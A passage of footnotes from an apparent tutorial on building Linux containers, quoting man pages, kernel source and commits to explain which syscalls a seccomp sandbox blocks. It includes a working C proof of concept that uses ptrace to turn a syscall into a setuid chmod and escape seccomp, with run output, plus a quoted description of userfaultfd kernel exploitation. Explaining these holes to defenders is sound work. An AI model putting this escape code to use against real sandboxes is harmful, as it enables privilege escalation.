The seccomp check will not be run again after the tracer is notified. (This means that seccomp-based sandboxes must not allow use of ptrace(2)–even of other sandboxed processes–without extreme care; ptracers can use this mechanism to escape from the seccomp sandbox.)

Here's an example (remember that our seccomp profile should prevent chmod(x, I_SUID):

/* -*- compile-command: "gcc -Wall -Werror -static ptrace_breaks_seccomp.c -o ptrace_breaks_seccomp" -*- */
#include <sys/stat.h>
#include <stdio.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <stddef.h>
#include <sys/syscall.h>

#define MAGIC_SYSCALL 666

int main (int argc, char **argv)
{
	pid_t child = 0;
	switch ((child = fork())) {
	case -1:
		fprintf(stderr, "++ fork failed: %m\n");
		return 1;
	case 0:;
		fprintf(stderr, "++ child stopping itself.\n");
		if (kill(getpid(), SIGSTOP)) {
			fprintf(stderr, "++ kill failed: %m\n");
			return 1;
		}
		fprintf(stderr, "++ child continued\n");
		/* pick an arbitrary syscall number. our tracer will change it to chmod. */
		if (syscall(MAGIC_SYSCALL, argv[0], S_ISUID | S_IRUSR | S_IWUSR | S_IXUSR)) {
			fprintf(stderr, "chmod-via-nanosleep failed: %m\n");
			return 1;
		}
		fprintf(stderr, "++ chmod succeeded, child finished.\n");
		break;
	default:;
		int status = 0;
		if (ptrace(PTRACE_ATTACH,child, NULL, NULL)) {
			fprintf(stderr, "++ ptrace failed: %m\n");
			return 1;
		}
		waitpid(child, &status, 0);
		if (!(status & SIGSTOP)) {
			fprintf(stderr, "++ expected SIGSTOP in child.\n");
			return 1;
		}
		struct user_regs_struct regs = {0};
		while (1) {
			if (ptrace(PTRACE_GETREGS, child, 0, &regs)) {
				fprintf(stderr, "++ getting child registers failed: %m\n");
				return 1;
			}
			if (!(regs.orig_rax == MAGIC_SYSCALL)) {
				if (ptrace(PTRACE_SYSCALL, child, 0, 0)) {
					fprintf(stderr, "++ continuing the process failed.\n");
					return 1;
				}
				waitpid(child, &status, 0);
				if (!(status & SIGTRAP)) {
					fprintf(stderr, "++ expected SIGTRAP in child.\n");
					return 1;
				}
			} else {
				fprintf(stderr, "++ got MAGIC_SYSCALL!\n");
				regs.orig_rax = SYS_chmod;
				if (ptrace(PTRACE_SETREGS, child, 0, &regs)) {
					fprintf(stderr, "++ continuing child failed: %m\n");
					return 1;
				}
				if (ptrace(PTRACE_CONT, child, 0, 0)) {
					fprintf(stderr, "++ continuing child failed: %m\n");
					return 1;
				}
				break;
			}
		}
		waitpid(child, NULL, 0);
		fprintf(stderr, "++ finished waiting.\n");

		break;
	}
	return 0;
}
diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 2291ecb..42ecbc6 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -173,7 +173,6 @@ int syscalls()
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(keyctl), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(add_key), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(request_key), 0)
-	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(ptrace), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(mbind), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(migrate_pages), 0)
 	    || seccomp_rule_add(ctx, SCMP_FAIL, SCMP_SYS(move_pages), 0)
[lizzie@empress l-c-i-500-l]$ sudo ./contained -m . -u 0 -c ./ptrace_breaks_seccomp 
=> validating Linux version...4.7.6-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.EiZRVH...done.
=> trying a user namespace...unsupported? continuing.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ child stopping itself.
++ ptrace failed: Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_ptrace -m . -u 0 -c ./ptrace_breaks_seccomp 
=> validating Linux version...4.7.6-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.ThyjKm...done.
=> trying a user namespace...unsupported? continuing.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
++ child stopping itself.
++ child continued
++ got MAGIC_SYSCALL!
++ chmod succeeded, child finished.
++ finished waiting.
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ ls -lh ptrace_breaks_seccomp 
-rws------ 1 lizzie lizzie 793K Oct 11 14:55 ptrace_breaks_seccomp

This seems to have been fixed in June by Kees Cook:

There has been a long-standing (and documented) issue with seccomp
where ptrace can be used to change a syscall out from under seccomp.
This is a problem for containers and other wider seccomp filtered
environments where ptrace needs to remain available, as it allows
for an escape of the seccomp filter.

Since the ptrace attack surface is available for any allowed syscall,
moving seccomp after ptrace doesn't increase the actually available
attack surface. And this actually improves tracing since, for
example, tracers will be notified of syscall entry before seccomp
sends a SIGSYS, which makes debugging filters much easier.

The per-architecture changes do make one (hopefully small)
semantic change, which is that since ptrace comes first, it may
request a syscall be skipped. Running seccomp after this doesn't
make sense, so if ptrace wants to skip a syscall, it will bail
out early similarly to how seccomp was. This means that skipped
syscalls will not be fed through audit, though that likely means
we're actually avoiding noise this way.

This series first cleans up seccomp to remove the now unneeded
two-phase entry, fixes the SECCOMP_RET_TRACE hole (same as the
ptrace hole above), and then reorders seccomp after ptrace on
each architecture.

Thanks,

-Kees

This patchset made it into the kernel at 4.8. See for example 93e35e:

  [lizzie@empress linux-stable]$ git branch --contains 93e35efb8de45393cf61ed07f7b407629bf698ea
  * linux-4.8.y
    master
52

This is, as far as I can tell, only documented in the kernel tree:

= Userfaultfd =

== Objective ==

Userfaults allow the implementation of on-demand paging from userland
and more generally they allow userland to take control of various
memory page faults, something otherwise only the kernel code could do.

[...]

= API ==

When first opened the userfaultfd must be enabled invoking the
UFFDIO_API ioctl specifying a uffdio_api.api value set to UFFD_API (or
a later API version) which will specify the read/POLLIN protocol
userland intends to speak on the UFFD and the uffdio_api.features
userland requires. The UFFDIO_API ioctl if successful (i.e. if the
requested uffdio_api.api is spoken also by the running kernel and the
requested features are going to be enabled) will return into
uffdio_api.features and uffdio_api.ioctls two 64bit bitmasks of
respectively all the available features of the read(2) protocol and
the generic ioctl available.

Once the userfaultfd has been enabled the UFFDIO_REGISTER ioctl should
be invoked (if present in the returned uffdio_api.ioctls bitmask) to
register a memory range in the userfaultfd by setting the
uffdio_register structure accordingly. The uffdio_register.mode
bitmask will specify to the kernel which kind of faults to track for
the range (UFFDIO_REGISTER_MODE_MISSING would track missing
pages). The UFFDIO_REGISTER ioctl will return the
uffdio_register.ioctls bitmask of ioctls that are suitable to resolve
userfaults on the range registered. Not all ioctls will necessarily be
supported for all memory types depending on the underlying virtual
memory backend (anonymous memory vs tmpfs vs real filebacked
mappings).

Userland can use the uffdio_register.ioctls to manage the virtual
address space in the background (to add or potentially also remove
memory from the userfaultfd registered range). This means a userfault
could be triggering just before userland maps in the background the
user-faulted page.

The primary ioctl to resolve userfaults is UFFDIO_COPY. That
atomically copies a page into the userfault registered range and wakes
up the blocked userfaults (unless uffdio_copy.mode &
UFFDIO_COPY_MODE_DONTWAKE is set). Other ioctl works similarly to
UFFDIO_COPY. They're atomic as in guaranteeing that nothing can see an
half copied page since it'll keep userfaulting until the copy has
finished.
53

Jann Horn described this to me, and linked to his vulnerability and exploit:

In order to make exploitation more reliable, the attacker should be able to pause code execution in the kernel between the writability check of the target file and the actual write operation. This can be done by abusing the writev() syscall and FUSE: The attacker mounts a FUSE filesystem that artificially delays read accesses, then mmap()s a file containing a struct iovec from that FUSE filesystem and passes the result of mmap() to writev(). (Another way to do this would be to use the userfaultfd() syscall.)

It was also used by Vitaly Nikolenko in his proof-of-concept for CVE-2016-6187:

[…]

If we could overwrite the cleanup function pointer (remember that this object is now allocated in user space), then we'll have arbitrary code execution with CPL=0. The only problem is that subprocess_info object allocation and freeing happens on the same path. One way to modify the object's function pointer is to somehow suspend the execution before info->cleanup)(info) gets called and set the function pointer to our privilege escalation payload. I could have found other objects of the same size with two "separate" paths for allocation and function triggering but I needed a reason to try userfaultfd() and the page splitting idea.

The userfaultfd syscall can be used to handle page faults in user space. We can allocate a page in user space and set up a handler (as a separate thread); when this page is accessed either for reading or writing, execution will be transferred to the user-space handler to deal with the page fault. There's nothing new here and this was mentioned by Jann Hornh

[…].

  • Allocate two consecutive pages, split the object over these two pages (as before) and set up the page handler for the second page.
  • When the user-space PF is triggered by memset, set up another user-space PF handler but for the first page.
  • The next user-space PF will be triggered when object variables (located in the first page) get initialised in call_usermodehelper_setup. At this point, set up another PF for the second page.
  • Finally, the last user-space PF handler can modify the cleanup function pointer (by setting it to our privilege escalation payload or a ROP chain) and set the path member to 0 (since these members are all located in the first page and already initialised).

Setting up user-space PF handlers for already "page-faulted" pages can be accomplished by munmapping/mapping these pages again and then passing them to userfaultfd(). The PoC for 4.5.1 can be found here. There's nothing specific to the kernel version though (it should work on all vulnerable kernels). There's no privilege escalation payload but the PoC will execute instructions at the user-space address 0xdeadbeef.

54
    PERF_EVENT_OPEN(2) -- 2016-07-17 -- Linux -- Linux Programmer's Manual

    NAME
            perf_event_open - set up performance monitoring

    SYNOPSIS
            #include <linux/perf_event.h>
            #include <linux/hw_breakpoint.h>

            int perf_event_open(struct perf_event_attr *attr,
                                            pid_t pid, int cpu, int group_fd,
                                            unsigned long flags);

            Note: There  is no glibc  wrapper for this system  call; see
            NOTES.

    DESCRIPTION
            [...]

    Arguments

         The pid and cpu arguments allow specifying which process and
         CPU to monitor:

         pid == 0 and cpu == -1
                 This measures the calling process/thread on any CPU.

         pid == 0 and cpu >= 0
                 This  measures  the  calling process/thread  only  when
                 running on the specified CPU.

         pid > 0 and cpu == -1
                 This measures the specified process/thread on any CPU.

         pid > 0 and cpu >= 0
                 This  measures the  specified process/thread  only when
                 running on the specified CPU.

         pid == -1 and cpu >= 0
                 This  measures all  processes/threads on  the specified
                 CPU.   This  requires  CAP_SYS_ADMIN  capability  or  a
                 /proc/sys/kernel/perf_event_paranoid value of less than
                 1.

         pid == -1 and cpu == -1
                 This setting is invalid and will return an error.

If a pid is specified, the corresponding process is found within the namespace:

    /**
     * sys_perf_event_open - open a performance event, associate it to a task/cpu
     *
     * @attr_uptr:  event_id type attributes for monitoring/sampling
     * @pid:                target pid
     * @cpu:                target cpu
     * @group_fd:           group leader event fd
     */
    SYSCALL_DEFINE5(perf_event_open,
                    struct perf_event_attr __user *, attr_uptr,
                    pid_t, pid, int, cpu, int, group_fd, unsigned long, flags)
    {
            /* ... */

            if (pid != -1 && !(flags & PERF_FLAG_PID_CGROUP)) {
                    task = find_lively_task_by_vpid(pid);
                    if (IS_ERR(task)) {
                            err = PTR_ERR(task);
                            goto err_group_fd;
                    }
            }

            /* ... */
    }
    static struct task_struct *
    find_lively_task_by_vpid(pid_t vpid)
    {
            struct task_struct *task;

            rcu_read_lock();
            if (!vpid)
                    task = current;
            else
                    task = find_task_by_vpid(vpid);
            if (task)
                    get_task_struct(task);
            rcu_read_unlock();

            if (!task)
                    return ERR_PTR(-ESRCH);

            return task;
    }
    struct task_struct *find_task_by_vpid(pid_t vnr)
    {
            return find_task_by_pid_ns(vnr, task_active_pid_ns(current));
    }
55

The Relevant commit is 0161028, whose commit message gives a good description of the problems:

commit 0161028b7c8aebef64194d3d73e43bc3b53b5c66
Author: Andy Lutomirski <redacted>
Date:   Mon May 9 15:48:51 2016 -0700

    perf/core: Change the default paranoia level to 2
    
    Allowing unprivileged kernel profiling lets any user dump follow kernel
    control flow and dump kernel registers.  This most likely allows trivial
    kASLR bypassing, and it may allow other mischief as well.  (Off the top
    of my head, the PERF_SAMPLE_REGS_INTR output during /dev/urandom reads
    could be quite interesting.)
    
    Signed-off-by: Andy Lutomirski <redacted>
    Acked-by: Kees Cook <redacted>
    Signed-off-by: Linus Torvalds <redacted>

diff --git a/Documentation/sysctl/kernel.txt b/Documentation/sysctl/kernel.txt
index 57653a4..fcddfd5 100644
--- a/Documentation/sysctl/kernel.txt
+++ b/Documentation/sysctl/kernel.txt
@@ -645,7 +645,7 @@ allowed to execute.
 perf_event_paranoid:
 
 Controls use of the performance events system by unprivileged
-users (without CAP_SYS_ADMIN).  The default value is 1.
+users (without CAP_SYS_ADMIN).  The default value is 2.
 
  -1: Allow use of (almost) all events by all users
 >=0: Disallow raw tracepoint access by users without CAP_IOC_LOCK
diff --git a/kernel/events/core.c b/kernel/events/core.c
index 4e2ebf6..c0ded24 100644
--- a/kernel/events/core.c
+++ b/kernel/events/core.c
@@ -351,7 +351,7 @@ static struct srcu_struct pmus_srcu;
  *   1 - disallow cpu events for unpriv
  *   2 - disallow kernel profiling for unpriv
  */
-int sysctl_perf_event_paranoid __read_mostly = 1;
+int sysctl_perf_event_paranoid __read_mostly = 2;
 
 /* Minimum for 512 kiB + 1 user control page */

This is included in 4.6:

[lizzie@empress linux]$ git tag --contains 0161028b7c8aebef64194d3d73e43bc3b53b5c66
v4.6
v4.7
v4.7-rc1
v4.7-rc2
v4.7-rc3
v4.7-rc4
v4.7-rc5
v4.7-rc6
v4.7-rc7
v4.8
v4.8-rc1
v4.8-rc2
v4.8-rc3
v4.8-rc4
v4.8-rc5
v4.8-rc6
v4.8-rc7
v4.8-rc8

Thanks to Jann Horn for pointing this out.

56

Documentation/prctl/no_new_privs.txt@c8d2bc

The execve system call can grant a newly-started program privileges that its parent did not have. The most obvious examples are setuid/setgid programs and file capabilities. […] Any task can set no_new_privs. Once the bit is set, it is inherited across fork, clone, and execve and cannot be unset. With no_new_privs set, execve promises not to grant the privilege to do anything that could not have been done without the execve call.

		In order to  use the SECCOMP_SET_MODE_FILTER operation,
		either   the  caller   must   have  the   CAP_SYS_ADMIN
		capability in  its user  namespace, or the  thread must
		already have the no_new_privs bit set.  If that bit was
		not  already set  by an  ancestor of  this thread,  the
		thread must make the following call:

		    prctl(PR_SET_NO_NEW_PRIVS, 1);

		Otherwise,  the SECCOMP_SET_MODE_FILTER  operation will
		fail  and return  EACCES  in  errno.  This  requirement
		ensures  that an  unprivileged process  cannot apply  a
		malicious filter and then invoke a set-user-ID or other
		privileged  program using  execve(2), thus  potentially
		compromising  that program.   (Such a  malicious filter
		might, for  example, cause an attempt  to use setuid(2)
		to  set the  caller's user  IDs to  non-zero values  to
		instead  return 0  without actually  making the  system
		call.   Thus,   the  program  might  be   tricked  into
		retaining superuser  privileges in  circumstances where
		it is possible  to influence it to  do dangerous things
		because it did not actually drop privileges.)

It took me a while to internalize this behavior. My impression was that without PR_SET_NO_NEW_PRIVS, seccomp filters would be dropped across a setuid exec. This would lead to an easy way to escape seccomp:

  • Create a setuid executable that calls some filtered syscall.
  • Become a non-root user.
  • Execute that setuid executable.

But that's actually not the case. Instead, you just can't set seccomp filters unless you have one of the following:

  • PR_SET_NO_NEW_PRIVS == 1
  • CAP_SYS_ADMIN

and so libseccomp sets PR_SET_NO_NEW_PRIVS by default.

Here's the code I thought would work:

/* -*- compile-command: "gcc -Wall -Werror -static setuidd_lower_reexec_and_escape.c -o setuidd_lower_reexec_and_escape" -*- */
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main (int argc, char **argv)
{
	if (argc == 1) {
		if (setresuid(99, 99, 99)) {
			fprintf(stderr, "++ setresuid failed: %m\n");
			return 1;
		}
		if (execve(argv[0], (char *[]) {argv[0], "-", 0}, NULL)) {
			fprintf(stderr, "++ execve failed: %m\n");
			return 1;
		}
	} else {
		uid_t a, b, c = 0;
		getresuid(&a, &b, &c);
		fprintf(stderr, "++ we're %u/%u/%u.\n", a, b, c);
		if (ioctl(STDIN_FILENO, TIOCSTI, "!")) {
		     fprintf(stderr, "++ ioctl failed: %m\n");
		     return 1;
		}
	}
}

but it doesn't :

[lizzie@empress l-c-i-500-l]$sudo chown root setuidd_lower_reexec_and_escape
[lizzie@empress l-c-i-500-l]$sudo chmod 4007 setuidd_lower_reexec_and_escape
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./setuidd_lower_reexec_and_escape
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.ZM2vnz...done.
=> trying a user namespace...writing /proc/2095/uid_map...writing
/proc/2095/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  ++ we're 99/99/99.  ++ ioctl failed:
Operation not permitted
=> cleaning cgroups...done.

Here's the code responsible for that check:

/**
 * seccomp_prepare_filter: Prepares a seccomp filter for use.
 * @fprog: BPF program to install
 *
 * Returns filter on success or an ERR_PTR on failure.
 */
static struct seccomp_filter *seccomp_prepare_filter(struct sock_fprog *fprog)
{
	struct seccomp_filter *sfilter;
	int ret;
	const bool save_orig = IS_ENABLED(CONFIG_CHECKPOINT_RESTORE);

	if (fprog->len == 0 || fprog->len > BPF_MAXINSNS)
		return ERR_PTR(-EINVAL);

	BUG_ON(INT_MAX / fprog->len < sizeof(struct sock_filter));

	/*
	 * Installing a seccomp filter requires that the task has
	 * CAP_SYS_ADMIN in its namespace or be running with no_new_privs.
	 * This avoids scenarios where unprivileged tasks can affect the
	 * behavior of privileged children.
	 */
	if (!task_no_new_privs(current) &&
	    security_capable_noaudit(current_cred(), current_user_ns(),
				     CAP_SYS_ADMIN) != 0)
		return ERR_PTR(-EACCES);

	/* Allocate a new seccomp_filter */
	sfilter = kzalloc(sizeof(*sfilter), GFP_KERNEL | __GFP_NOWARN);
	if (!sfilter)
		return ERR_PTR(-ENOMEM);

	ret = bpf_prog_create_from_user(&sfilter->prog, fprog,
					seccomp_check_filter, save_orig);
	if (ret < 0) {
		kfree(sfilter);
		return ERR_PTR(ret);
	}

	atomic_set(&sfilter->usage, 1);

	return sfilter;
}

and the code that unconditionally propagates seccomp filters across exec:

static void copy_seccomp(struct task_struct *p)
{
#ifdef CONFIG_SECCOMP
	/*
	 * Must be called with sighand->lock held, which is common to
	 * all threads in the group. Holding cred_guard_mutex is not
	 * needed because this new task is not yet running and cannot
	 * be racing exec.
	 */
	assert_spin_locked(&current->sighand->siglock);

	/* Ref-count the new filter user, and assign it. */
	get_seccomp_filter(current);
	p->seccomp = current->seccomp;

	/*
	 * Explicitly enable no_new_privs here in case it got set
	 * between the task_struct being duplicated and holding the
	 * sighand lock. The seccomp state and nnp must be in sync.
	 */
	if (task_no_new_privs(current))
		task_set_no_new_privs(p);

	/*
	 * If the parent gained a seccomp mode after copying thread
	 * flags and between before we held the sighand lock, we have
	 * to manually enable the seccomp thread flag here.
	 */
	if (p->seccomp.mode != SECCOMP_MODE_DISABLED)
		set_tsk_thread_flag(p, TIF_SECCOMP);
#endif
}

(called by copy_process in kernel/fork.c@c8d2bc).

57
NOTES
	Glibc does not provide a  wrapper for this system call; call
	it using  syscall(2).  Or rather...   don't call it:  use of
	this system  call has  long been discouraged,  and it  is so
	unloved that  it is likely  to disappear in a  future kernel
	version.   Since  Linux 2.6.24,  uses  of  this system  call
	result in warnings  in the kernel log.  Remove  it from your
	programs now; use the /proc/sys interface instead.

	This  system  call  is  available only  if  the  kernel  was
	configured with the CONFIG_SYSCTL_SYSCALL option.
config SYSCTL_SYSCALL
	bool "Sysctl syscall support" if EXPERT
	depends on PROC_SYSCTL
	default n
	select SYSCTL
	---help---
	  sys_sysctl uses binary paths that have been found challenging
	  to properly maintain and use.  The interface in /proc/sys
	  using paths with ascii names is now the primary path to this
	  information.

	  Almost nothing using the binary sysctl interface so if you are
	  trying to save some space it is probably safe to disable this,
	  making your kernel marginally smaller.

	  If unsure say N here.
58
DESCRIPTION
	The system calls alloc_hugepages() and free_hugepages() were
	introduced  in Linux  2.5.36  and removed  again in  2.5.54.
	They  existed  only  on  i386  and  ia64  (when  built  with
	CONFIG_HUGETLB_PAGE).  In Linux  2.4.20, the syscall numbers
	exist, but the calls fail with the error ENOSYS.

59
DESCRIPTION
	Note: Since  Linux 2.6, this  system call is  deprecated and
	does nothing.   It is  likely to  disappear altogether  in a
	future  kernel release.   Nowadays,  the  task performed  by
	bdflush() is handled by the kernel pdflush thread.

60
DESCRIPTION
	Note: This  system call  is present  only in  kernels before
	Linux 2.6.
61
NAME
	nfsservctl - syscall interface to kernel nfs daemon

SYNOPSIS
	#include <linux/nfsd/syscall.h>

	long nfsservctl(int cmd, struct nfsctl_arg *argp,
				 union nfsctl_res *resp);

DESCRIPTION
	Note: Since  Linux 3.1, this  system call no  longer exists.
	It  has  been  replaced  by  a set  of  files  in  the  nfsd
	filesystem; see nfsd(7).

62
	perfctr(2)	2.2	Sparc; removed in 2.6.34
63
GET_KERNEL_SYMS(2) -- 2016-10-08 -- Linux -- Linux Programmer's Manual

NAME
	get_kernel_syms  -  retrieve   exported  kernel  and  module
	symbols

SYNOPSIS
	#include <linux/module.h>

	int get_kernel_syms(struct kernel_sym *table);

	Note:  No declaration  of this  system call  is provided  in
	glibc headers; see NOTES.

DESCRIPTION
	Note: This  system call  is present  only in  kernels before
	Linux 2.6.
64
SETUP(2) -- 2008-12-03 -- Linux -- Linux Programmer's Manual

NAME
	setup - setup devices and filesystems, mount root filesystem

	[...]

VERSIONS
	Since Linux 2.1.121, no such function exists anymore.

65

man 2 clock_settime is unfortunately pretty vague:

    CLOCK_GETRES(2) -- 2016-05-09 -- Linux Programmer's Manual

    NAME
            clock_getres, clock_gettime, clock_settime  - clock and time
            functions

            [...]

    ERRORS

            EFAULT
                    tp points outside the accessible address space.

            EINVAL
                    The clk_id specified is not supported on this system.

            EPERM
                    clock_settime()  does not  have permission  to set  the
                    clock indicated.

but you can see in the source that CLOCK_REALTIME is the only clock with .clock_set and .clock_adj set:

    /*
     * Initialize everything, well, just everything in Posix clocks/timers ;)
     */
    static __init int init_posix_timers(void)
    {
            struct k_clock clock_realtime = {
                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_clock_realtime_get,
                    .clock_set      = posix_clock_realtime_set,
                    .clock_adj      = posix_clock_realtime_adj,
                    .nsleep         = common_nsleep,
                    .nsleep_restart = hrtimer_nanosleep_restart,
                    .timer_create   = common_timer_create,
                    .timer_set      = common_timer_set,
                    .timer_get      = common_timer_get,
                    .timer_del      = common_timer_del,
            };
            struct k_clock clock_monotonic = {
                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_ktime_get_ts,
                    .nsleep         = common_nsleep,
                    .nsleep_restart = hrtimer_nanosleep_restart,
                    .timer_create   = common_timer_create,
                    .timer_set      = common_timer_set,
                    .timer_get      = common_timer_get,
                    .timer_del      = common_timer_del,
            };
            struct k_clock clock_monotonic_raw = {
                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_get_monotonic_raw,
            };
            struct k_clock clock_realtime_coarse = {
                    .clock_getres   = posix_get_coarse_res,
                    .clock_get      = posix_get_realtime_coarse,
            };
            struct k_clock clock_monotonic_coarse = {
                    .clock_getres   = posix_get_coarse_res,
                    .clock_get      = posix_get_monotonic_coarse,
            };
            struct k_clock clock_tai = {
                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_get_tai,
                    .nsleep         = common_nsleep,
                    .nsleep_restart = hrtimer_nanosleep_restart,
                    .timer_create   = common_timer_create,
                    .timer_set      = common_timer_set,
                    .timer_get      = common_timer_get,
                    .timer_del      = common_timer_del,
            };
            struct k_clock clock_boottime = {
                    .clock_getres   = posix_get_hrtimer_res,
                    .clock_get      = posix_get_boottime,
                    .nsleep         = common_nsleep,
                    .nsleep_restart = hrtimer_nanosleep_restart,
                    .timer_create   = common_timer_create,
                    .timer_set      = common_timer_set,
                    .timer_get      = common_timer_get,
                    .timer_del      = common_timer_del,
            };

            posix_timers_register_clock(CLOCK_REALTIME, &clock_realtime);
            posix_timers_register_clock(CLOCK_MONOTONIC, &clock_monotonic);
            posix_timers_register_clock(CLOCK_MONOTONIC_RAW, &clock_monotonic_raw);
            posix_timers_register_clock(CLOCK_REALTIME_COARSE, &clock_realtime_coarse);
            posix_timers_register_clock(CLOCK_MONOTONIC_COARSE, &clock_monotonic_coarse);
            posix_timers_register_clock(CLOCK_BOOTTIME, &clock_boottime);
            posix_timers_register_clock(CLOCK_TAI, &clock_tai);

            posix_timers_cache = kmem_cache_create("posix_timers_cache",
                                            sizeof (struct k_itimer), 0, SLAB_PANIC,
                                            NULL);
            return 0;
    }

and that those methods go through settimeofday and adjtimex, which are both also gated by CAP_SYS_TIME.

    /* Set clock_realtime */
    static int posix_clock_realtime_set(const clockid_t which_clock,
                                        const struct timespec *tp)
    {
            return do_sys_settimeofday(tp, NULL);
    }

    static int posix_clock_realtime_adj(const clockid_t which_clock,
                                        struct timex *t)
    {
            return do_adjtimex(t);
    }

    /**
     * cap_settime - Determine whether the current process may set the system clock
     * @ts: The time to set
     * @tz: The timezone to set
     *
     * Determine whether the current process may set the system clock and timezone
     * information, returning 0 if permission granted, -ve if denied.
     */
    int cap_settime(const struct timespec64 *ts, const struct timezone *tz)
    {
            if (!capable(CAP_SYS_TIME))
                    return -EPERM;
            return 0;
    }
    /**
     * ntp_validate_timex - Ensures the timex is ok for use in do_adjtimex
     */
    int ntp_validate_timex(struct timex *txc)
    {
            if (txc->modes & ADJ_ADJTIME) {
                    /* singleshot must not be used with any other mode bits */
                    if (!(txc->modes & ADJ_OFFSET_SINGLESHOT))
                            return -EINVAL;
                    if (!(txc->modes & ADJ_OFFSET_READONLY) &&
                        !capable(CAP_SYS_TIME))
                            return -EPERM;
            } else {
                    /* In order to modify anything, you gotta be super-user! */
                     if (txc->modes && !capable(CAP_SYS_TIME))
                            return -EPERM;
                    /*
                     * if the quartz is off by more than 10% then
                     * something is VERY wrong!
                     */
                    if (txc->modes & ADJ_TICK &&
                        (txc->tick <  900000/USER_HZ ||
                         txc->tick > 1100000/USER_HZ))
                            return -EINVAL;
            }

            /* ... *
    }
66
    ADJTIME(3) -- 2016-03-15 -- Linux -- Linux Programmer's Manual

    NAME
            adjtime - correct the time to synchronize the system clock

            [...]

    ERRORS

            EINVAL
                    The adjustment in delta is outside the permitted range.

            EPERM
                    The caller does not have sufficient privilege to adjust
                    the time.  Under Linux,  the CAP_SYS_TIME capability is
                    required.

67
PCICONFIG_READ(2) -- 2016-07-17 -- Linux -- Linux Programmer's Manual

NAME
	pciconfig_read,  pciconfig_write,   pciconfig_iobase  -  pci
	device information handling
	[...]
ERRORS
	[...]
	EPERM
		User does not have  the CAP_SYS_ADMIN capability.  This
		does not apply to pciconfig_iobase().

68

Too many too list, but see man 2 quotactl.

69
    USTAT(2) -- 2003-08-04 -- Linux -- Linux Programmer's Manual

    NAME
            ustat - get filesystem statistics

    SYNOPSIS
            #include <sys/types.h>
            #include <unistd.h>    /* libc[45] */
            #include <ustat.h>     /* glibc2 */

            int ustat(dev_t dev, struct ustat *ubuf);

    DESCRIPTION
            ustat() returns information about a mounted filesystem.  dev
            is a device number identifying a device containing a mounted
            filesystem.  ubuf  is a  pointer to  a ustat  structure that
            contains the following members:

                daddr_t f_tfree;      /* Total free blocks */
                ino_t   f_tinode;     /* Number of free inodes */
                char    f_fname[6];   /* Filsys name */
                char    f_fpack[6];   /* Filsys pack name */

            The  last   two  fields,   f_fname  and  f_fpack,   are  not
            implemented  and  will  always  be filled  with  null  bytes
            ('\0').

70
    SYSFS(2) -- 2010-06-27 -- Linux -- Linux Programmer's Manual

    NAME
            sysfs - get filesystem type information

    SYNOPSIS
            int sysfs(int option, const char *fsname);

            int sysfs(int option, unsigned int fs_index, char *buf);

            int sysfs(int option);

    DESCRIPTION
            sysfs()  returns  information  about  the  filesystem  types
            currently present in  the kernel.  The specific  form of the
            sysfs()  call and  the information  returned depends  on the
            option in effect:

            1  Translate the filesystem identifier  string fsname into a
               filesystem type index.

            2  Translate  the  filesystem  type index  fs_index  into  a
               null-terminated   filesystem  identifier   string.   This
               string will be  written to the buffer pointed  to by buf.
               Make sure that buf has enough space to accept the string.

            3  Return  the total  number of  filesystem types  currently
               present in the kernel.

            The  numbering of  the filesystem  type indexes  begins with
            zero.
71
USELIB(2) -- 2016-03-15 -- Linux -- Linux Programmer's Manual

NAME
	uselib - load shared library

	[..]

NOTES
	[...]

	Since Linux  3.15, this system  call is available  only when
	the kernel is configured with the CONFIG_USELIB option.

72
SYNC_FILE_RANGE(2) -- 2014-08-19 -- Linux -- Linux Programmer's Manual

NAME
	sync_file_range - sync a file segment with disk

	[...]
NOTES

   sync_file_range2()
	Some   architectures  (e.g.,   PowerPC,  ARM)   need  64-bit
	arguments to be aligned in a suitable pair of registers.  On
	such architectures, the  call signature of sync_file_range()
	shown in the SYNOPSIS would force a register to be wasted as
	padding  between   the  fd   and  offset   arguments.   (See
	syscall(2)  for  details.)  Therefore,  these  architectures
	define  a different  system call  that orders  the arguments
	suitably:

	    int sync_file_range2(int fd, unsigned int flags,
						off64_t offset, off64_t nbytes);

	The behavior  of this system  call is otherwise  exactly the
	same as sync_file_range().
73
READDIR(2) -- 2013-06-21 -- Linux -- Linux Programmer's Manual

NAME
	readdir - read directory entry

SYNOPSIS

	int readdir(unsigned int fd, struct old_linux_dirent *dirp,
			  unsigned int count);

	Note: There  is no glibc  wrapper for this system  call; see
	NOTES.

